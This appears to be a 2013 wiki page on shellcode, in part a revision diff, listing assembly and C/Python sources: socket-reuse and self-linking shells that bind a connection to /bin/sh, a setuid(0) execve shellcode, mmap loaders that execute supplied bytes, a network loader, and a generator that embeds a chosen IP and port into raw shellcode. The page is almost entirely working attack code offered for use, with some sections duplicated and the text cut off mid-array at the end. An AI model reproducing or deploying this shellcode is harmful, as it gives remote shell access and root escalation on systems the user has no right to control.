#  >Parses the dynamic section headers of the ELF64 image
 +
#  >Uses ROP to invoke the function on the way back to the
 +
#  -normal return location
 +
#
 +
#  Returns results of function to invoke.
 +
#
 +
invoke_function:
 +
  push %rbp
 +
  push %rbp
 +
  push %rdx
 +
  xor %rdx, %rdx
 +
  push %rdi
 +
  push %rax
 +
  push %rbx     
 +
  push %rsi
 +
  push %rbp
 +
  pop %rdi
 +
 +
  read_dynamic_section:
 +
    push %rbx
 +
    pop %rbp
 +
 +
  push $0x4c
 +
  pop %rax
 +
  add (%rbx, %rax, 4), %rbx
 +
 +
  check_dynamic_type:
 +
    add $0x10, %rbx
 +
    cmpb $0x5, (%rbx)
 +
  jne check_dynamic_type
 +
 +
  string_table_found:
 +
    mov 0x8(%rbx), %rax      # %rax is now location of dynamic string table
 +
    mov 0x18(%rbx), %rbx      # %rbx is now a pointer to the symbol table.
 +
 +
  check_next_hash:
 +
    add $0x18, %rbx
 +
    push %rdx
 +
    pop %rsi
 +
    xorw (%rbx), %si
 +
    add %rax, %rsi
 +
 +
    calc_hash:
 +
      push %rax
 +
      push %rdx
 +
 +
      initialize_regs:
 +
        push %rdx
 +
        pop %rax
 +
        cld
 +
 +
        calc_hash_loop:
 +
          lodsb
 +
          rol $0xc, %edx
 +
          add %eax, %edx
 +
          test %al, %al
 +
          jnz calc_hash_loop
 +
 +
      calc_done:
 +
        push %rdx
 +
        pop %rsi
 +
 +
      pop %rdx
 +
      pop %rax
 +
 +
  cmp %esi, %edi
 +
 +
  jne check_next_hash
 +
 +
  found_hash:
 +
    add 0x8(%rbx,%rdx,4), %rbp
 +
    mov %rbp, 0x30(%rsp)
 +
    pop %rsi
 +
    pop %rbx
 +
    pop %rax
 +
    pop %rdi
 +
    pop %rdx
 +
    pop %rbp
 +
ret
 +
 +
exit:
 +
  push $0x696c4780
 +
  pop %rbp
 +
  xor %rdi, %rdi
 +
  call *%rcx
 +
 +
_world:
 +
  movl $0xf8cc01f7, %ebp  # getpeername() is in %rbp
 +
  push $0x02
 +
  pop %rdi
 +
 +
  make_fd_struct:
 +
    lea -0x14(%rsp), %rdx
 +
    movb $0x10, (%rdx)
 +
    lea 0x4(%rdx), %rsi # move struct into rsi
 +
 +
  loop:
 +
    inc %di
 +
    jz exit
 +
 +
  stack_fix:
 +
    lea 0x14(%rdx), %rsp
 +
 +
  get_peer_name:
 +
    sub $0x20, %rsp
 +
    push %rcx
 +
    call *%rcx
 +
    pop %rcx
 +
 +
  check_pn_success:
 +
    test %al, %al
 +
    jne loop
 +
 +
  # If we make it here, rbx and rax are 0
 +
  check_ip:
 +
    push $0x1b
 +
    pop %r8
 +
    mov $0xfeffff80, %eax
 +
    cmpl %eax, (%rsp,%r8,4)
 +
    jne loop
 +
 +
  check_port:
 +
    movb $0x35, %r8b
 +
    mov $0x2dfb, %ax
 +
    cmpw %ax,(%rsp, %r8 ,2) # (%rbp,%rsi,2)
 +
    jne loop
 +
 +
  push $0x70672750
 +
  pop %rbp
 +
 +
  reuse:
 +
    xor %rdx, %rdx
 +
    push %rdx
 +
    push %rdx
 +
    pop %rsi
 +
 +
    dup_loop:      # redirect stdin, stdout, stderr to socket
 +
      push %rcx
 +
      call *%rcx
 +
      pop %rcx
 +
      inc %esi
 +
      cmp $0x4, %esi
 +
      jne dup_loop
 +
 +
  movl $0xf66bbb37, %ebp
 +
 +
  xor %rdi, %rdi
 +
  push %rdi                     
 +
  push %rdi
 +
  pop %rsi                   
 +
  pop %rdx                      # Null out %rdx and %rdx (second and third argument)
 +
  mov $0x68732f6e69622f6a,%rdi  # move 'hs/nib/j' into %rdi
 +
  shr $0x8,%rdi                  # null truncate the backwards value to '\0hs/nib/'
 +
  push %rdi     
 +
  push %rsp
 +
  pop %rdi                      # %rdi is now a pointer to '/bin/sh\0'
 +
 +
  call *%rcx
 +
</source>}}
 +
 +
== linker-fd-reuse.s ==
 +
'''Description''': Self-linking file descriptor reuse shellcode
 +
 +
{{code|text=<source lang="asm"># 268 bytes
 +
.section .data
 +
.section .text
 +
.global _start
 +
 +
_start:
 +
  push $0x400130ff
 +
  pop %rbx
 +
  shr $0x8, %ebx
 +
 +
fast_got:
 +
  mov (%rbx), %rcx
 +
  add 0x10(%rbx), %rcx
 +
 +
extract_pointer:
 +
  mov 0x20(%rcx), %rbx
 +
 +
find_base:
 +
  dec %rbx
 +
  cmpl $0x464c457f, (%rbx)
 +
jne find_base
 +
 +
jmp startup
 +
 +
__initialize_world:
 +
  pop %rcx
 +
  jmp _world
 +
 +
 +
# at this point, the base pointer of libc is in %rbx
 +
startup:
 +
  call __initialize_world
 +
 +
################
 +
#
 +
#  Takes a function hash in %rbp and base pointer in %rbx
 +
#  >Parses the dynamic section headers of the ELF64 image
 +
#  >Uses ROP to invoke the function on the way back to the
 +
#  -normal return location
 +
#
 +
#  Returns results of function to invoke.
 +
#
 +
invoke_function:
 +
  push %rbp
 +
  push %rbp
 +
  push %rdx
 +
  xor %rdx, %rdx
 +
  push %rdi
 +
  push %rax
 +
  push %rbx     
 +
  push %rsi
 +
  push %rbp
 +
  pop %rdi
 +
 +
  read_dynamic_section:
 +
    push %rbx
 +
    pop %rbp
 +
 +
  push $0x4c
 +
  pop %rax
 +
  add (%rbx, %rax, 4), %rbx
 +
 +
  check_dynamic_type:
 +
    add $0x10, %rbx
 +
    cmpb $0x5, (%rbx)
 +
  jne check_dynamic_type
 +
 +
  string_table_found:
 +
    mov 0x8(%rbx), %rax      # %rax is now location of dynamic string table
 +
    mov 0x18(%rbx), %rbx      # %rbx is now a pointer to the symbol table.
 +
 +
  check_next_hash:
 +
    add $0x18, %rbx
 +
    push %rdx
 +
    pop %rsi
 +
    xorw (%rbx), %si
 +
    add %rax, %rsi
 +
 +
    calc_hash:
 +
      push %rax
 +
      push %rdx
 +
 +
      initialize_regs:
 +
        push %rdx
 +
        pop %rax
 +
        cld
 +
 +
        calc_hash_loop:
 +
          lodsb
 +
          rol $0xc, %edx
 +
          add %eax, %edx
 +
          test %al, %al
 +
          jnz calc_hash_loop
 +
 +
      calc_done:
 +
        push %rdx
 +
        pop %rsi
 +
 +
      pop %rdx
 +
      pop %rax
 +
 +
  cmp %esi, %edi
 +
 +
  jne check_next_hash
 +
 +
  found_hash:
 +
    add 0x8(%rbx,%rdx,4), %rbp
 +
    mov %rbp, 0x30(%rsp)
 +
    pop %rsi
 +
    pop %rbx
 +
    pop %rax
 +
    pop %rdi
 +
    pop %rdx
 +
    pop %rbp
 +
ret
 +
 +
exit:
 +
  push $0x696c4780
 +
  pop %rbp
 +
  xor %rdi, %rdi
 +
  call *%rcx
 +
 +
_world:
 +
  movl $0xf8cc01f7, %ebp  # getpeername() is in %rbp
 +
  push $0x02
 +
  pop %rdi
 +
 +
  make_fd_struct:
 +
    lea -0x14(%rsp), %rdx
 +
    movb $0x10, (%rdx)
 +
    lea 0x4(%rdx), %rsi # move struct into rsi
 +
 +
  loop:
 +
    inc %di
 +
    jz exit
 +
 +
  stack_fix:
 +
    lea 0x14(%rdx), %rsp
 +
 +
  get_peer_name:
 +
    sub $0x20, %rsp
 +
    push %rcx
 +
    call *%rcx
 +
    pop %rcx
 +
 +
  check_pn_success:
 +
    test %al, %al
 +
    jne loop
 +
 +
  # If we make it here, rbx and rax are 0
 +
  check_ip:
 +
    push $0x1b
 +
    pop %r8
 +
    mov $0xfeffff80, %eax
 +
    not %eax
 +
    cmpl %eax, (%rsp,%r8,4)
 +
    jne loop
 +
 +
  check_port:
 +
    movb $0x35, %r8b
 +
    mov $0x2dfb, %ax
 +
    not %eax
 +
    cmpw %ax,(%rsp, %r8 ,2) # (%rbp,%rsi,2)
 +
    jne loop
 +
 +
  push $0x70672750
 +
  pop %rbp
 +
 +
  reuse:
 +
    xor %rdx, %rdx
 +
    push %rdx
 +
    push %rdx
 +
    pop %rsi
 +
 +
    dup_loop:      # redirect stdin, stdout, stderr to socket
 +
      push %rcx
 +
      call *%rcx
 +
      pop %rcx
 +
      inc %esi
 +
      cmp $0x4, %esi
 +
      jne dup_loop
 +
 +
  movl $0xf66bbb37, %ebp
 +
 +
  pop %rdi
 +
  push %rdi                     
 +
  push %rdi
 +
  pop %rsi                   
 +
  pop %rdx                      # Null out %rdx and %rdx (second and third argument)
 +
  mov $0x68732f6e69622f6a,%rdi  # move 'hs/nib/j' into %rdi
 +
  shr $0x8,%rdi                  # null truncate the backwards value to '\0hs/nib/'
 +
  push %rdi     
 +
  push %rsp
 +
  pop %rdi                      # %rdi is now a pointer to '/bin/sh\0'
 +
 +
  call *%rcx
 +
</source>}}
 +
 +
== linked-exit.s ==
 +
'''Description''': Self-linking exit shellcode
 +
 +
{{code|text=<source lang="asm"># 135 bytes
 +
 +
.section .data
 +
.section .text
 +
.global _start
 +
 +
_start:
 +
  push $0x400130ff
 +
  pop %rbx
 +
  shr $0x8, %ebx
 +
 +
fast_got:
 +
  mov (%rbx), %rcx
 +
  add 0x10(%rbx), %rcx
 +
 +
extract_pointer:
 +
  mov 0x20(%rcx), %rbx
 +
 +
find_base:
 +
  dec %rbx
 +
  cmpl $0x464c457f, (%rbx)
 +
jne find_base
 +
 +
jmp startup
 +
 +
__initialize_world:
 +
  pop %rcx
 +
  jmp _world
 +
 +
 +
# at this point, the base pointer of libc is in %rbx
 +
startup:
 +
  call __initialize_world
 +
 +
################
 +
#
 +
#  Takes a function hash in %rbp and base pointer in %rbx
 +
#  >Parses the dynamic section headers of the ELF64 image
 +
#  >Uses ROP to invoke the function on the way back to the
 +
#  -normal return location
 +
#
 +
#  Returns results of function to invoke.
 +
#
 +
invoke_function:
 +
  push %rbp
 +
  push %rbp
 +
  push %rdx
 +
  xor %rdx, %rdx
 +
  push %rdi
 +
  push %rax
 +
  push %rbx     
 +
  push %rsi
 +
  push %rbp
 +
  pop %rdi
 +
 +
  read_dynamic_section:
 +
    push %rbx
 +
    pop %rbp
 +
 +
  push $0x4c
 +
  pop %rax
 +
  add (%rbx, %rax, 4), %rbx
 +
 +
  check_dynamic_type:
 +
    add $0x10, %rbx
 +
    cmpb $0x5, (%rbx)
 +
  jne check_dynamic_type
 +
 +
  string_table_found:
 +
    mov 0x8(%rbx), %rax      # %rax is now location of dynamic string table
 +
    mov 0x18(%rbx), %rbx      # %rbx is now a pointer to the symbol table.
 +
 +
  check_next_hash:
 +
    add $0x18, %rbx
 +
    push %rdx
 +
    pop %rsi
 +
    xorw (%rbx), %si
 +
    add %rax, %rsi
 +
 +
    calc_hash:
 +
      push %rax
 +
      push %rdx
 +
 +
      initialize_regs:
 +
        push %rdx
 +
        pop %rax
 +
        cld
 +
 +
        calc_hash_loop:
 +
          lodsb
 +
          rol $0xc, %edx
 +
          add %eax, %edx
 +
          test %al, %al
 +
          jnz calc_hash_loop
 +
 +
      calc_done:
 +
        push %rdx
 +
        pop %rsi
 +
 +
      pop %rdx
 +
      pop %rax
 +
 +
  cmp %esi, %edi
 +
 +
  jne check_next_hash
 +
 +
  found_hash:
 +
    add 0x8(%rbx,%rdx,4), %rbp
 +
    mov %rbp, 0x30(%rsp)
 +
    pop %rsi
 +
    pop %rbx
 +
    pop %rax
 +
    pop %rdi
 +
    pop %rdx
 +
    pop %rbp
 +
ret
 +
 +
_world:
 +
  push $0x696c4780
 +
  pop %rbp
 +
  xor %rdi, %rdi
 +
  call *%rcx
 +
 +
</source>}}
 +
 +
= Generators =
 +
 +
'''See also''': [[Shellcode/Socket-reuse|socket-reuse documentation]], [[#Socket-reuse|socket-reuse shellcode]], [[Shellcode/Self-modifying|self-modifying documentation]], [[Shellcode/Self-modifying|self-modifying shellcode]], [[Shellcode/Dynamic|dynamic documentation]], [[Shellcode/Dynamic|dynamic shellcode]]
 +
 +
== socket-reuse-generator.py ==
 +
'''Description''': Socket-reuse shellcode generator
 +
 +
{{code|text=<source lang="python">
 +
#!/usr/bin/python2.7
 +
import re, sys, socket, struct
 +
 +
if len(sys.argv) < 3:
 +
  print("Usage: " + sys.argv[0] + " <source IP> <source port> [dynamic]")
 +
  exit()
 +
 +
standard_shellcode = \
 +
"\\xeb\\x05\\x6a\\x3c\\x58\\x0f\\x05\\x6a\\x02\\x5f\\x48\\x8d\\x54\\x24\\xec\\xc6" \
 +
"\\x02\\x10\\x48\\x8d\\x72\\x04\\xff\\xc7\\x66\\x85\\xff\\x74\\xe5\\x48\\x8d\\x62" \
 +
"\\x14\\x48\\x83\\xec\\x20\\x6a\\x34\\x58\\x0f\\x05\\x84\\xc0\\x75\\xe8\\x6a\\x1b" \
 +
"\\x59\\xbb%s\\xf7\\xd3\\x39\\x1c\\x8c\\x75\\xd9\\xb1\\x35\\x66\\xbb%s\\x66\\xf7" \
 +
"\\xd3\\x66\\x39\\x1c\\x4c\\x75\\xca\\x50\\x5e\\x6a\\x21\\x58\\x0f\\x05\\xff\\xc6" \
 +
"\\x83\\xfe\\x04\\x75\\xf4\\x5f\\x57\\x57\\x5e\\x5a\\x48\\xbf\\x6a\\x2f\\x62\\x69" \
 +
"\\x6e\\x2f\\x73\\x68\\x48\\xc1\\xef\\x08\\x57\\x54\\x5f\\x6a\\x3b\\x58\\x0f\\x05"
 +
 +
dynamic_shellcode = \
 +
"\\x68\\xff\\x30\\x01\\x40\\x5b\\xc1\\xeb\\x08\\x48\\x8b\\x0b\\x48\\x03\\x4b\\x10" \
 +
"\\x48\\x8b\\x59\\x20\\x48\\xff\\xcb\\x81\\x3b\\x7f\\x45\\x4c\\x46\\x75\\xf5\\xeb" \
 +
"\\x03\\x59\\xeb\\x6a\\xe8\\xf8\\xff\\xff\\xff\\x55\\x55\\x52\\x48\\x31\\xd2\\x57" \
 +
"\\x50\\x53\\x56\\x55\\x5f\\x53\\x5d\\x6a\\x4c\\x58\\x48\\x03\\x1c\\x83\\x48\\x83" \
 +
"\\xc3\\x10\\x80\\x3b\\x05\\x75\\xf7\\x48\\x8b\\x43\\x08\\x48\\x8b\\x5b\\x18\\x48" \
 +
"\\x83\\xc3\\x18\\x52\\x5e\\x66\\x33\\x33\\x48\\x01\\xc6\\x50\\x52\\x52\\x58\\xfc" \
 +
"\\xac\\xc1\\xc2\\x0c\\x01\\xc2\\x84\\xc0\\x75\\xf6\\x52\\x5e\\x5a\\x58\\x39\\xf7" \
 +
"\\x75\\xdd\\x48\\x03\\x6c\\x93\\x08\\x48\\x89\\x6c\\x24\\x30\\x5e\\x5b\\x58\\x5f" \
 +
"\\x5a\\x5d\\xc3\\x68\\x80\\x47\\x6c\\x69\\x5d\\x48\\x31\\xff\\xff\\xd1\\xbd\\xf7" \
 +
"\\x01\\xcc\\xf8\\x6a\\x02\\x5f\\x48\\x8d\\x54\\x24\\xec\\xc6\\x02\\x10\\x48\\x8d" \
 +
"\\x72\\x04\\x66\\xff\\xc7\\x74\\xdc\\x48\\x8d\\x62\\x14\\x48\\x83\\xec\\x20\\x51" \
 +
"\\xff\\xd1\\x59\\x84\\xc0\\x75\\xeb\\x6a\\x1b\\x41\\x58\\xb8%s\\xf7\\xd0\\x42" \
 +
"\\x39\\x04\\x84\\x75\\xda\\x41\\xb0\\x35\\x66\\xb8%s\\xf7\\xd0\\x66\\x42\\x39" \
 +
"\\x04\\x44\\x75\\xca\\x68\\x50\\x27\\x67\\x70\\x5d\\x48\\x31\\xd2\\x52\\x52\\x5e" \
 +
"\\x51\\xff\\xd1\\x59\\xff\\xc6\\x83\\xfe\\x04\\x75\\xf5\\xbd\\x37\\xbb\\x6b\\xf6" \
 +
"\\x48\\x31\\xff\\x57\\x57\\x5e\\x5a\\x48\\xbf\\x6a\\x2f\\x62\\x69\\x6e\\x2f\\x73" \
 +
"\\x68\\x48\\xc1\\xef\\x08\\x57\\x54\\x5f\\xff\\xd1"
 +
 +
if len(sys.argv) == 4 and sys.argv[3] == "dynamic":
 +
  shellcode = dynamic_shellcode
 +
else:
 +
  shellcode = standard_shellcode
 +
 +
convert = lambda x: ''.join(['\\x%.2x' % (ord(char) ^ 0xff) for char in x])
 +
ip_addr = convert(socket.inet_aton(sys.argv[1]))
 +
port_no = convert(struct.pack("!H", int(sys.argv[2])))
 +
shellcode = shellcode % (ip_addr, port_no)
 +
 +
for lin in re.findall(".?"*64, shellcode):
 +
  if lin != "":
 +
    print("\"" + lin + "\"")
 +
</source>}}
 +
 +
== shellcode-generator.py ==
 +
'''Description''': Nicely assemble and output shellcode in a variety of formats (raw, hex, and as a C variable)
 +
 +
{{code|text=<source lang="python">
 +
#!/usr/bin/python2
 +
import os
 +
import re
 +
import argparse
 +
 +
def detect_file_type(path):
 +
  file_type = os.popen("file %s" % path).read(200)
 +
  if "assembler" in file_type:
 +
    return 0
 +
  elif "ELF" in file_type:
 +
    return 1
 +
  else:
 +
    print "Incompatible file type, quitting."
 +
    exit()
 +
 +
def extract(path):
 +
  if not detect_file_type(path):
 +
    orig_path = path
 +
    path = path.split(".")[0]
 +
    if os.system("as -o %s.o %s" % (path, orig_path)) == 1:
 +
      print " [!] Assembly failed."
 +
      exit()
 +
    if os.system("ld -o %s %s.o" % (path, path)) == 1:
 +
      print " [!] Linking failed."
 +
      exit()
 +
 +
  shellcode = ""
 +
  for line in os.popen("objdump -d %s" % path).readlines():
 +
    for byte in line.split():
 +
      if re.match("^[a-f0-9][a-f0-9]$", byte):
 +
        shellcode += chr(int(byte, 16))
 +
 +
  return shellcode
 +
 +
if __name__=="__main__":
 +
  parser = argparse.ArgumentParser()
 +
  parser.add_argument('--file', required=True)
 +
  parser.add_argument('--hex', action='store_true', help="Output in hex format (\\x0f\\x05)")
 +
  parser.add_argument('--raw', action='store_true', help="Output in raw format")
 +
  parser.add_argument('--var', action='store_true', help="Output as a variable")
 +
  parser.add_argument('--len', action='store_true', help="Output the length")
 +
  args = parser.parse_args()
 +
 +
  shellcode = extract(args.file)
 +
 +
  if args.hex or args.var:
 +
    tmp = ''.join(["\\x%.2x" % ord(byte) for byte in shellcode])
 +
 +
    if args.var:
 +
      tmp2 = "char shellcode[] = {\n"
 +
      for line in re.findall(".?"*64, tmp):
 +
        if line != "":
 +
          tmp2 += "  \"%s\" \n" % line
 +
      tmp = tmp2 + "};"
 +
 +
    print tmp
 +
 +
  elif args.raw:
 +
    print shellcode
 +
 +
  else:
 +
    parser.print_help()
 +
    exit()
 +
 +
  if args.len:
 +
    print " [*] Length: %d bytes" % len(shellcode)
 +
</source>}}
 +
 +
== hash-generator.s ==
 +
'''Description''': Hash generator for self-linking shellcode
 +
 +
{{code|text=<source lang="asm">
 +
# 81 bytes
 +
 +
.text
 +
.globl _start
 +
_start:
 +
jmp startup
 +
 +
calc_hash:
 +
  push %rax
 +
  push %rdx
 +
 +
  initialize_regs:
 +
    push %rdx
 +
    pop %rax
 +
    cld
 +
 +
    calc_hash_loop:
 +
      lodsb
 +
      rol $0xc, %edx
 +
      add %eax, %edx
 +
      test %al, %al
 +
      jnz calc_hash_loop
 +
 +
  calc_done:
 +
    push %rdx
 +
    pop %rsi
 +
 +
  pop %rdx
 +
  pop %rax
 +
ret
 +
 +
startup:
 +
  pop %rax
 +
  pop %rax
 +
  pop %rsi
 +
 +
  xor %rdx, %rdx
 +
  call calc_hash
 +
 +
  push %rsi
 +
  mov %rsp, %rsi
 +
 +
  push %rdx
 +
 +
  mov %rsp, %rcx
 +
 +
  mov $0x4, %rdi
 +
  loop:
 +
    dec %rdi
 +
    movb (%rsi,%rdi,1), %al
 +
    movb %al, (%rcx,%rdx,1)
 +
    inc %rdx
 +
    cmp %rdi, %r10
 +
    jnz loop
 +
 +
  mov %rcx, %rsi
 +
 +
  inc %rdi
 +
  mov %rdi, %rax
 +
 +
  syscall
 +
 +
  mov $0x3c, %rax
 +
  dec %rdi
 +
 +
  syscall
 
</source>}}
 
</source>}}

Latest revision as of 19:07, 25 May 2013


Special thanks to hatter and jtripper for their contributions to this article.

Loaders

Documentation: shellcode loaders

See also: environmental documentation, environmental shellcode

loader-64.s

Description: 64-bit mmap-based executable shellcode loader (returns to shellcode)

# 79 bytes
 
.section .data
.section .text
.globl _start
 
_start:
    pop %rbx  # argc
    pop %rbx  # arg0
    pop %rbx  # arg1 pointer
 
    push $0x9
    pop %rax
 
    xor %rdi, %rdi
    push %rdi
    pop %rsi
    inc %rsi
    shl $0x12, %rsi
    push $0x7
    pop %rdx
    push $0x22
    pop %r10
 
    push %rdi
    push %rdi
    pop %r8
    pop %r9
 
    syscall   # The syscall for the mmap().
 
inject: 
    xor %rsi, %rsi
    push %rsi
    pop %rdi    
 
inject_loop:
    cmpb %dil, (%rbx, %rsi, 1)
    je inject_finished
    movb (%rbx, %rsi, 1), %r10b
    movb %r10b, (%rax,%rsi,1)
    inc %rsi
    jmp inject_loop
 
ret_to_shellcode:
    push %rax
    ret
 
inject_finished:
    inc %rsi 
    movb $0xc3, (%rax, %rsi, 1)
    call ret_to_shellcode
 
exit:
    push $60
    pop %rax
    xor %rdi, %rdi
    syscall
 

loader-32.s

Description: 32-bit mmap-based executable shellcode loader (returns to shellcode)

 
# 66 bytes
 
.section .data
 
.section .text
 
.global _start
 
_start:
        pop %edi
        pop %edi
        pop %edi                      #get arg1 pointer (shellcode)
 
        push $90
        pop %eax                      #mmap() syscall number
 
        xor %ebx, %ebx
	push %ebx
	push %ebx                     #args 5/6 (null)
 
	push $0x22                    #arg 4
	push $0x7                     #arg 5
 
        push %ebx
        pop %ecx
        inc %ecx
        shl $0x12, %ecx
        push %ecx                     #arg2 (0x1000)
 
	push %ebx                     #arg1 (null)
 
        mov %esp, %ebx                #move pointer to args to ebx for mmap()
        int $0x80
 
 
inject:
	xor %esi, %esi
	push %esi
	pop %edx                      #zero out esi and edx
 
inject_loop:
	cmpb %dl, (%edi, %esi, 1)
	je inject_finished
	movb (%edi, %esi, 1), %cl
	movb %cl, (%eax, %esi, 1)
	inc %esi
	jmp inject_loop               #places shellcode into mmap() memory
 
ret_to_shellcode:
	push %eax                     #pushes mmap memory address and returns to it
	ret
 
inject_finished:
	inc %esi
	movb $0xc3, (%eax, %esi, 1)   #adds ret to the code code so that loader can exit
	call ret_to_shellcode
 
exit:
	xor %eax, %eax
	mov %eax, %ebx
	inc %eax
	int $0x80	               #exit
 


dynamic-loader.c

Description: Dynamically linked mmap-based executable shellcode loader (contains GOT)

#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
 
int main(int argc, char *argv[])
{
  int (*fp)();
  void *mem = mmap(0, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
  memcpy(mem, argv[1], strlen(argv[1]));
  fp = (int(*)())mem;
  (int)(*fp)();
}
 

socket-loader.c

Description: Dynamically linked mmap and socket based executable shellcode loader (contains GOT)

 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>
#include <sys/types.h> 
#include <sys/socket.h>
#include <netinet/in.h>
 
void error(const char *msg) {
  perror(msg);
  exit(1);
}
 
void execute(char *buffer) {
  void (*mem)() = mmap(0, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
  memcpy(mem, buffer, strlen(buffer));
  (*mem)();
}
 
int main(int argc, char *argv[]) {
  char buffer[1024];
  int serverfd, clientfd;
  socklen_t client_len;
  struct sockaddr_in server_addr, client_addr;
  client_len = sizeof(client_addr);
 
  if (argc != 2) {
    printf("Usage: %s <port>\n", argv[0]);
    exit(1);
  }
 
  server_addr.sin_family = AF_INET;
  server_addr.sin_addr.s_addr = INADDR_ANY;
  server_addr.sin_port = htons(atoi(argv[1]));
 
  if((serverfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) 
    error(" [!] opening socket");
 
  if (bind(serverfd, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) 
    error(" [!] bind()");
 
  if (listen(serverfd, 0) < 0)
    error(" [!] listen()");
 
  if ((clientfd = accept(serverfd, (struct sockaddr *)&client_addr, &client_len)) < 0)
    error(" [!] accept()");
 
  printf(" [*] Received %d bytes, executing.\n", read(clientfd,buffer,1024));
  execute(buffer);
 
  printf(" [*] Closing sockets.\n");
  close(clientfd);
  close(serverfd);
  return 0; 
}
 

Null-free

Documentation: null-free shellcode

write-file-32.s

Description: Null-free file writing shellcode

 
# 90 bytes
_start:
 
xorl %ecx, %ecx
xorl %edx, %edx         #use xor to zero out the registers (removed some not required)
 
push $0x05              #push 0x05 (single byte to remove the null padding used in longs)
pop %eax                #pop that value into eax
push $0x6c              #push part of the file destination as a byte to remove padding
pushl $0x6f6c2f70
pushl $0x6f746b73
pushl $0x65442f74
pushl $0x6f6f722f
movl %esp, %ebx         #move out stack pointer
xorw $0x0641, %cx       #xor the file options as a word into ecx (ecx is 0 so ecx value would be 641)
xorw $0x01b6, %dx       #xor the file permissions as a word into edx (ecx is 0 so edx value would be 1b6)
                        #by using this method of xoring out the nullbytes code size can be reduced as well
      #as remove the null bytes
int $0x80               #execute open()
 
movl %eax, %ebx         #move the file handle into ebx for write()
push $0x04              #push 0x04
pop %eax                #pop it into eax for use in write()
pushl $0x6c6f6c6a       #push part of the null terminated hex string onto the stack
pop %ecx                #pop it into ecx for modification
shr $0x08, %ecx         #shift it to the right by 0x08 to put the nullbyte back into the string without
                        #having it directly in the code
pushl %ecx              #push the modified string back onto the stack
pushl $0x20736920
pushl $0x73696874
movl %esp, %ecx         #move the stack pointer to ecx
push $0xb               #push the size of the stack in hex 
pop %edx                #pop it back into the proper register
pushl %ebx              #push the file descriptor onto the stack for the next function
int $0x80               #write the file
 
pop %ebx                #get the file descriptor back
push $0x06              #push 0x06 to the stack
pop %eax                #pop it into eax for close()
int $0x80               #close the file
 
push $0x01              #push exit() onto the stack
pop %eax                #and put it in the register
push $0x05              #push the return value of 5
pop %ebx                #and put it in ebx
int $0x80               #and exit
 

setuid_binsh.s

Description: null-free setuid(0); execve('/bin/sh') shellcode

 
# 32 bytes
.text
.globl _start
_start:
  xor    %rdi,%rdi
  pushq  $0x69
  pop    %rax
  syscall
 
  push   %rdi
  push   %rdi
  pop    %rsi
  pop    %rdx
  pushq  $0x68
  movabs $0x7361622f6e69622f,%rax
  push   %rax
  push   %rsp
  pop    %rdi
  pushq  $0x3b
  pop    %rax
  syscall
 

Environment

Documentation: environment

getpc-64.s

Description: 64-bit getpc

 
# 12 - bytes
 
jmp startup
getpc:
   mov (%rsp), %rax
   ret
startup:
call getpc       # the %rax register now contains %rip on the next line
 

getpc-64-alt.s

Description: Alternative 64-bit getpc method

 
# 10 bytes
 
jmp startup
pc:
  nop
startup:
  lea -1(%rip), %rax  # the %rax register now contains the address of `pc'.

getpc-32.s

Description: 32-bit getpc

# 11 bytes
jmp startup
getpc:
   mov (%esp), %eax
   ret
startup:
call getpc       # the %eax register now contains %eip on the next line
 

int3-detect-64.s

Description: Breakpoint detection shellcode

 
# 24 bytes
 
.text
.global _start
_start:
 
  jmp startup
 
go_retro:
  pop %rcx
  inc %rcx
  jmp *%rcx
 
startup:
  call go_retro
 
volatile_segment:
  push $0x3458686a
  push $0x0975c084
  nop
 

lastcall-32.s

Description: 32-bit last call example

 
# 4 bytes
 
mov -0x4(%esp), %eax
 

lastcall-64.s

Description: 64-bit last call example

 
# 5 bytes
 
mov -0x8(%rsp), %rax
 

lastcall-alphanum.s

Description: Alphanumeric last call example

 
# 13 bytes
 
.text
.global _start
_start:
  pop %rax
  push %rsp                 # move pointer to %rsp into %rax
  pop %rax
  xor $0x65,%al            # subtract 0x10 from %rax
  xor $0x75,%al
  xor %rsi,(%rax)
  xor (%rax),%rsi          # move address to last instruction into %rax
 

Socket-reuse

Documentation: socket reuse documentation

socket-reuse.s

Description: socket reusing shellcode to bypass firewalls

 
# 117 bytes
.section .data
.section .text
.globl _start
_start:
jmp start
 
exit:
  push $0x3c
  pop %rax
  syscall
 
start:
  push $0x02
  pop %rdi
 
make_fd_struct:
  lea -0x14(%rsp), %rdx
  movb $0x10, (%rdx)
  lea 0x4(%rdx), %rsi # move struct into rsi
 
loop:
  inc %edi
  test %di, %di # loop until 65535 then exit
  je exit
 
stack_fix:
  lea 0x14(%rdx), %rsp
 
get_peer_name:
  sub $0x20, %rsp
  push $0x34
  pop %rax
  syscall
 
check_pn_success:
  test %al, %al
  jne loop
 
# If we make it here, rbx and rax are 0
check_ip:
  push $0x1b
  pop %rcx
  mov $0xfeffff80, %ebx
  not %ebx
  cmpl %ebx, (%rsp,%rcx,4)      
  jne loop
 
check_port:
  movb $0x35, %cl
  mov $0x2dfb, %bx
  not %bx
  cmpw %bx,(%rsp, %rcx ,2) # (%rbp,%rsi,2)
  jne loop
 
reuse:
  push %rax
  pop %rsi
 
  dup_loop:       # redirect stdin, stdout, stderr to socket
    push $0x21
    pop %rax
    syscall
    inc %esi
    cmp $0x4, %esi
    jne dup_loop
 
execve:
  pop %rdi
  push %rdi                      
  push %rdi
  pop %rsi                     
  pop %rdx                       # Null out %rdx and %rdx (second and third argument)
  mov $0x68732f6e69622f6a,%rdi   # move 'hs/nib/j' into %rdi
  shr $0x8,%rdi                  # null truncate the backwards value to '\0hs/nib/'
  push %rdi      
  push %rsp 
  pop %rdi                       # %rdi is now a pointer to '/bin/sh\0'
  push $0x3b                     
  pop %rax                       # set %rax to function # for execve()
  syscall                        # execve('/bin/sh',null,null);
 

socket-reuse-send.c

Description: sends socket reuse shellcode

 
#include <sys/socket.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
 
// source: 127.0.0.1:1234
char shellcode[] = {
"\xeb\x05\x6a\x3c\x58\x0f\x05\x6a\x02\x5f\x48\x8d\x54\x24\xec\xc6"
